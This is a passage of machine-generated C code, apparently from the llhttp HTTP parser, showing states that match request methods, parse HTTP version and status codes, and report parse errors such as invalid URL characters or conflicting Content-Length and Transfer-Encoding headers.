s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_62:\n    s_n_llhttp__internal__n_start_req_62: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_62;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob54, 3);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 7;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_req_62;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_60:\n    s_n_llhttp__internal__n_start_req_60: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_60;\n      }\n      switch (*p) {\n        case 'E': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_61;\n        }\n        case 'R': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_62;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_65:\n    s_n_llhttp__internal__n_start_req_65: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_65;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob55, 3);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 18;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_req_65;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_67:\n    s_n_llhttp__internal__n_start_req_67: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_67;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob56, 2);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 32;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_req_67;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_68:\n    s_n_llhttp__internal__n_start_req_68: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_68;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob57, 2);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 15;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_req_68;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_66:\n    s_n_llhttp__internal__n_start_req_66: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_66;\n      }\n      switch (*p) {\n        case 'I': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_67;\n        }\n        case 'O': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_68;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_69:\n    s_n_llhttp__internal__n_start_req_69: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_69;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob58, 8);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 27;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_req_69;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_64:\n    s_n_llhttp__internal__n_start_req_64: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_64;\n      }\n      switch (*p) {\n        case 'B': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_65;\n        }\n        case 'L': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_66;\n        }\n        case 'S': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_69;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_63:\n    s_n_llhttp__internal__n_start_req_63: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_63;\n      }\n      switch (*p) {\n        case 'N': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_64;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req:\n    s_n_llhttp__internal__n_start_req: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req;\n      }\n      switch (*p) {\n        case 'A': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_1;\n        }\n        case 'B': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_4;\n        }\n        case 'C': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_5;\n        }\n        case 'D': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_10;\n        }\n        case 'F': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_14;\n        }\n        case 'G': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_15;\n        }\n        case 'H': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_18;\n        }\n        case 'L': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_19;\n        }\n        case 'M': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_22;\n        }\n        case 'N': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_31;\n        }\n        case 'O': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_32;\n        }\n        case 'P': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_33;\n        }\n        case 'R': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_46;\n        }\n        case 'S': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_52;\n        }\n        case 'T': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_60;\n        }\n        case 'U': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_63;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_invoke_llhttp__on_status_complete:\n    s_n_llhttp__internal__n_invoke_llhttp__on_status_complete: {\n      switch (llhttp__on_status_complete(state, p, endp)) {\n        default:\n          goto s_n_llhttp__internal__n_header_field_start;\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_res_line_almost_done:\n    s_n_llhttp__internal__n_res_line_almost_done: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_res_line_almost_done;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_invoke_llhttp__on_status_complete;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_res_status:\n    s_n_llhttp__internal__n_res_status: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_res_status;\n      }\n      switch (*p) {\n        case 10: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_status;\n        }\n        case 13: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_status_1;\n        }\n        default: {\n          p++;\n          goto s_n_llhttp__internal__n_res_status;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_llhttp__on_status:\n    s_n_llhttp__internal__n_span_start_llhttp__on_status: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_llhttp__on_status;\n      }\n      state->_span_pos0 = (void*) p;\n      state->_span_cb0 = llhttp__on_status;\n      goto s_n_llhttp__internal__n_res_status;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_res_status_start:\n    s_n_llhttp__internal__n_res_status_start: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_res_status_start;\n      }\n      switch (*p) {\n        case 10: {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_llhttp__on_status_complete;\n        }\n        case 13: {\n          p++;\n          goto s_n_llhttp__internal__n_res_line_almost_done;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_span_start_llhttp__on_status;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_res_status_code_otherwise:\n    s_n_llhttp__internal__n_res_status_code_otherwise: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_res_status_code_otherwise;\n      }\n      switch (*p) {\n        case 10: {\n          goto s_n_llhttp__internal__n_res_status_start;\n        }\n        case 13: {\n          goto s_n_llhttp__internal__n_res_status_start;\n        }\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_res_status_start;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_43;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_res_status_code:\n    s_n_llhttp__internal__n_res_status_code: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_res_status_code;\n      }\n      switch (*p) {\n        case '0': {\n          p++;\n          match = 0;\n          goto s_n_llhttp__internal__n_invoke_mul_add_status_code;\n        }\n        case '1': {\n          p++;\n          match = 1;\n          goto s_n_llhttp__internal__n_invoke_mul_add_status_code;\n        }\n        case '2': {\n          p++;\n          match = 2;\n          goto s_n_llhttp__internal__n_invoke_mul_add_status_code;\n        }\n        case '3': {\n          p++;\n          match = 3;\n          goto s_n_llhttp__internal__n_invoke_mul_add_status_code;\n        }\n        case '4': {\n          p++;\n          match = 4;\n          goto s_n_llhttp__internal__n_invoke_mul_add_status_code;\n        }\n        case '5': {\n          p++;\n          match = 5;\n          goto s_n_llhttp__internal__n_invoke_mul_add_status_code;\n        }\n        case '6': {\n          p++;\n          match = 6;\n          goto s_n_llhttp__internal__n_invoke_mul_add_status_code;\n        }\n        case '7': {\n          p++;\n          match = 7;\n          goto s_n_llhttp__internal__n_invoke_mul_add_status_code;\n        }\n        case '8': {\n          p++;\n          match = 8;\n          goto s_n_llhttp__internal__n_invoke_mul_add_status_code;\n        }\n        case '9': {\n          p++;\n          match = 9;\n          goto s_n_llhttp__internal__n_invoke_mul_add_status_code;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_res_status_code_otherwise;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_res_http_end:\n    s_n_llhttp__internal__n_res_http_end: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_res_http_end;\n      }\n      switch (*p) {\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_update_status_code;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_44;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_res_http_minor:\n    s_n_llhttp__internal__n_res_http_minor: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_res_http_minor;\n      }\n      switch (*p) {\n        case '0': {\n          p++;\n          match = 0;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor_1;\n        }\n        case '1': {\n          p++;\n          match = 1;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor_1;\n        }\n        case '2': {\n          p++;\n          match = 2;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor_1;\n        }\n        case '3': {\n          p++;\n          match = 3;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor_1;\n        }\n        case '4': {\n          p++;\n          match = 4;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor_1;\n        }\n        case '5': {\n          p++;\n          match = 5;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor_1;\n        }\n        case '6': {\n          p++;\n          match = 6;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor_1;\n        }\n        case '7': {\n          p++;\n          match = 7;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor_1;\n        }\n        case '8': {\n          p++;\n          match = 8;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor_1;\n        }\n        case '9': {\n          p++;\n          match = 9;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor_1;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_45;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_res_http_dot:\n    s_n_llhttp__internal__n_res_http_dot: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_res_http_dot;\n      }\n      switch (*p) {\n        case '.': {\n          p++;\n          goto s_n_llhttp__internal__n_res_http_minor;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_46;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_res_http_major:\n    s_n_llhttp__internal__n_res_http_major: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_res_http_major;\n      }\n      switch (*p) {\n        case '0': {\n          p++;\n          match = 0;\n          goto s_n_llhttp__internal__n_invoke_store_http_major_1;\n        }\n        case '1': {\n          p++;\n          match = 1;\n          goto s_n_llhttp__internal__n_invoke_store_http_major_1;\n        }\n        case '2': {\n          p++;\n          match = 2;\n          goto s_n_llhttp__internal__n_invoke_store_http_major_1;\n        }\n        case '3': {\n          p++;\n          match = 3;\n          goto s_n_llhttp__internal__n_invoke_store_http_major_1;\n        }\n        case '4': {\n          p++;\n          match = 4;\n          goto s_n_llhttp__internal__n_invoke_store_http_major_1;\n        }\n        case '5': {\n          p++;\n          match = 5;\n          goto s_n_llhttp__internal__n_invoke_store_http_major_1;\n        }\n        case '6': {\n          p++;\n          match = 6;\n          goto s_n_llhttp__internal__n_invoke_store_http_major_1;\n        }\n        case '7': {\n          p++;\n          match = 7;\n          goto s_n_llhttp__internal__n_invoke_store_http_major_1;\n        }\n        case '8': {\n          p++;\n          match = 8;\n          goto s_n_llhttp__internal__n_invoke_store_http_major_1;\n        }\n        case '9': {\n          p++;\n          match = 9;\n          goto s_n_llhttp__internal__n_invoke_store_http_major_1;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_47;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_res:\n    s_n_llhttp__internal__n_start_res: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_res;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob59, 5);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_res_http_major;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_res;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_50;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_or_res_method_2:\n    s_n_llhttp__internal__n_req_or_res_method_2: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_or_res_method_2;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob60, 2);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 2;\n          goto s_n_llhttp__internal__n_invoke_store_method;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_req_or_res_method_2;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_48;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_or_res_method_3:\n    s_n_llhttp__internal__n_req_or_res_method_3: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_or_res_method_3;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob61, 3);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_update_type_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_req_or_res_method_3;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_48;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_or_res_method_1:\n    s_n_llhttp__internal__n_req_or_res_method_1: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_or_res_method_1;\n      }\n      switch (*p) {\n        case 'E': {\n          p++;\n          goto s_n_llhttp__internal__n_req_or_res_method_2;\n        }\n        case 'T': {\n          p++;\n          goto s_n_llhttp__internal__n_req_or_res_method_3;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_48;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_or_res_method:\n    s_n_llhttp__internal__n_req_or_res_method: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_or_res_method;\n      }\n      switch (*p) {\n        case 'H': {\n          p++;\n          goto s_n_llhttp__internal__n_req_or_res_method_1;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_48;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_or_res:\n    s_n_llhttp__internal__n_start_req_or_res: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_or_res;\n      }\n      switch (*p) {\n        case 'H': {\n          goto s_n_llhttp__internal__n_req_or_res_method;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_update_type_2;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_invoke_load_type:\n    s_n_llhttp__internal__n_invoke_load_type: {\n      switch (llhttp__internal__c_load_type(state, p, endp)) {\n        case 1:\n          goto s_n_llhttp__internal__n_start_req;\n        case 2:\n          goto s_n_llhttp__internal__n_start_res;\n        default:\n          goto s_n_llhttp__internal__n_start_req_or_res;\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start:\n    s_n_llhttp__internal__n_start: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start;\n      }\n      switch (*p) {\n        case 10: {\n          p++;\n          goto s_n_llhttp__internal__n_start;\n        }\n        case 13: {\n          p++;\n          goto s_n_llhttp__internal__n_start;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_update_finish;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    default:\n      /* UNREACHABLE */\n      abort();\n  }\n  s_n_llhttp__internal__n_error_37: {\n    state->error = 0x7;\n    state->reason = \"Invalid characters in url\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_finish_2: {\n    switch (llhttp__internal__c_update_finish_1(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_start;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_test_lenient_flags: {\n    switch (llhttp__internal__c_test_lenient_flags(state, p, endp)) {\n      case 1:\n        goto s_n_llhttp__internal__n_invoke_update_finish_2;\n      default:\n        goto s_n_llhttp__internal__n_closed;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_finish_1: {\n    switch (llhttp__internal__c_update_finish_1(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_test_lenient_flags;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_pause_5: {\n    state->error = 0x15;\n    state->reason = \"on_message_complete pause\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_is_equal_upgrade;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_9: {\n    state->error = 0x12;\n    state->reason = \"`on_message_complete` callback error\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_pause_7: {\n    state->error = 0x15;\n    state->reason = \"on_chunk_complete pause\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_llhttp__on_message_complete_2;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_12: {\n    state->error = 0x14;\n    state->reason = \"`on_chunk_complete` callback error\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_llhttp__on_chunk_complete_1: {\n    switch (llhttp__on_chunk_complete(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_invoke_llhttp__on_message_complete_2;\n      case 21:\n        goto s_n_llhttp__internal__n_pause_7;\n      default:\n        goto s_n_llhttp__internal__n_error_12;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_11: {\n    state->error = 0x4;\n    state->reason = \"Content-Length can't be present with Transfer-Encoding\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_pause_2: {\n    state->error = 0x15;\n    state->reason = \"on_message_complete pause\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_pause_1;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_3: {\n    state->error = 0x12;\n    state->reason = \"`on_message_complete` callback error\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_llhttp__on_message_complete_1: {\n    switch (llhttp__on_message_complete(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_pause_1;\n      case 21:\n        goto s_n_llhttp__internal__n_pause_2;\n      default:\n        goto s_n_llhttp__internal__n_error_3;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_7: {\n    state->error = 0xc;\n    state->reason = \"Chunk size overflow\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_pause_3: {\n    state->error = 0x15;\n    state->reason = \"on_chunk_complete pause\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_update_content_length;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_5: {\n    state->error = 0x14;\n    state->reason = \"`on_chunk_complete` callback error\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_llhttp__on_chunk_complete: {\n    switch (llhttp__on_chunk_complete(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_invoke_update_content_length;\n      case 21:\n        goto s_n_llhttp__internal__n_pause_3;\n      default:\n        goto s_n_llhttp__internal__n_error_5;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_body: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_body(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_chunk_data_almost_done;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_chunk_data_almost_done;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags: {\n    switch (llhttp__internal__c_or_flags(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_field_start;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_pause_4: {\n    state->error = 0x15;\n    state->reason = \"on_chunk_header pause\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_is_equal_content_length;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_4: {\n    state->error = 0x13;\n    state->reason = \"`on_chunk_header` callback error\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_llhttp__on_chunk_header: {\n    switch (llhttp__on_chunk_header(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_invoke_is_equal_content_length;\n      case 21:\n        goto s_n_llhttp__internal__n_pause_4;\n      default:\n        goto s_n_llhttp__internal__n_error_4;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_6: {\n    state->error = 0xc;\n    state->reason = \"Invalid character in chunk size\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_mul_add_content_length: {\n    switch (llhttp__internal__c_mul_add_content_length(state, p, endp, match)) {\n      case 1:\n        goto s_n_llhttp__internal__n_error_7;\n      default:\n        goto s_n_llhttp__internal__n_chunk_size;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_8: {\n    state->error = 0xc;\n    state->reason = \"Invalid character in chunk size\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_body_1: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_body(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_llhttp__on_message_complete_2;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_invoke_llhttp__on_message_complete_2;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_finish_3: {\n    switch (llhttp__internal__c_update_finish_3(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_span_start_llhttp__on_body_2;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_10: {\n    state->error = 0xf;\n    state->reason = \"Request has invalid `Transfer-Encoding`\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_pause: {\n    state->error = 0x15;\n    state->reason = \"on_message_complete pause\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_llhttp__after_message_complete;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_2: {\n    state->error = 0x12;\n    state->reason = \"`on_message_complete` callback error\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_llhttp__on_message_complete: {\n    switch (llhttp__on_message_complete(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_invoke_llhttp__after_message_complete;\n      case 21:\n        goto s_n_llhttp__internal__n_pause;\n      default:\n        goto s_n_llhttp__internal__n_error_2;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_1: {\n    switch (llhttp__internal__c_or_flags_1(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_llhttp__after_headers_complete;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_2: {\n    switch (llhttp__internal__c_or_flags_1(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_llhttp__after_headers_complete;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_upgrade: {\n    switch (llhttp__internal__c_update_upgrade(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_or_flags_2;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_pause_6: {\n    state->error = 0x15;\n    state->reason = \"Paused by on_headers_complete\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_llhttp__after_headers_complete;\n    return s_error;\n    /* UNREACHABLE */;\n    